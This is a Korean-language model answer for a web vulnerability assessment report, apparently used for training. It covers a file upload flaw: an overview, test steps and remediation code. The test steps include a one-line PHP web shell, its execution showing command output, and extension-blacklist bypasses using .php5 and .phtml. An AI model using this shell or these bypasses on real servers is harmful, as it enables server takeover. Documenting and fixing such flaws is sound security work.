W-05
파일 업로드 취약점 (웹쉘 업로드)
위험도: 상⚠️ 위험도 근거: 웹쉘 업로드로 서버 장악, 내부 네트워크 접근 가능
📌 아래 내용이 표준 보고서에 포함되어야 합니다. 자신이 작성한 보고서와 대조하세요.
취약점 개요
📄 표준 내용
파일 업로드 기능에서 업로드 가능한 파일 형식에 대한 검증이 미흡하여, PHP 웹쉘(.php) 파일을 업로드하고 웹 브라우저를 통해 실행할 수 있는 취약점이다. 공격자는 웹쉘을 통해 서버 운영체제 명령을 실행할 수 있다.
발견 내용
📄 표준 내용
[점검 대상] URL: POST /upload.php 업로드 디렉터리: /uploads/ (웹에서 직접 접근 가능) [점검 절차] 1. 웹쉘 파일 생성: shell.php 내용: <?php system($_GET['cmd']); ?> 2. 파일 업로드 시도 - Content-Type: application/octet-stream - 파일명: shell.php - 결과: 업로드 성공 3. 웹쉘 실행 GET /uploads/shell.php?cmd=id 응답: uid=33(www-data) gid=33(www-data) 4. 우회 시도 기록 - shell.php5 → 성공 - shell.phtml → 성공 (확장자 블랙리스트만 적용, 화이트리스트 미적용으로 우회 가능) [결과] 서버에서 임의 명령 실행 성공
조치 방안
📄 표준 내용
[즉시 조치]
1. 파일 확장자 화이트리스트 방식 적용:
허용: ['jpg', 'jpeg', 'png', 'gif', 'pdf']
$allowed = ['jpg','jpeg','png','gif','pdf'];
if (!in_array($ext, $allowed)) { die('허용되지 않는 형식'); }
2. MIME 타입 검증 (이중 검증):
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);
허용 MIME: ['image/jpeg', 'image/png', 'image/gif']
3. 업로드 파일명 랜덤화:
$newname = uniqid() . '.' . $ext;
4. 업로드 디렉터리 실행 권한 제거:
.htaccess: php_flag engine off
또는 웹 루트 외부로 업로드 디렉터리 이동
[추가 조치]
5. 파일 크기 제한 (5MB 이하)
6. 안티바이러스 연동
7. CDN/별도 도메인에서 파일 서빙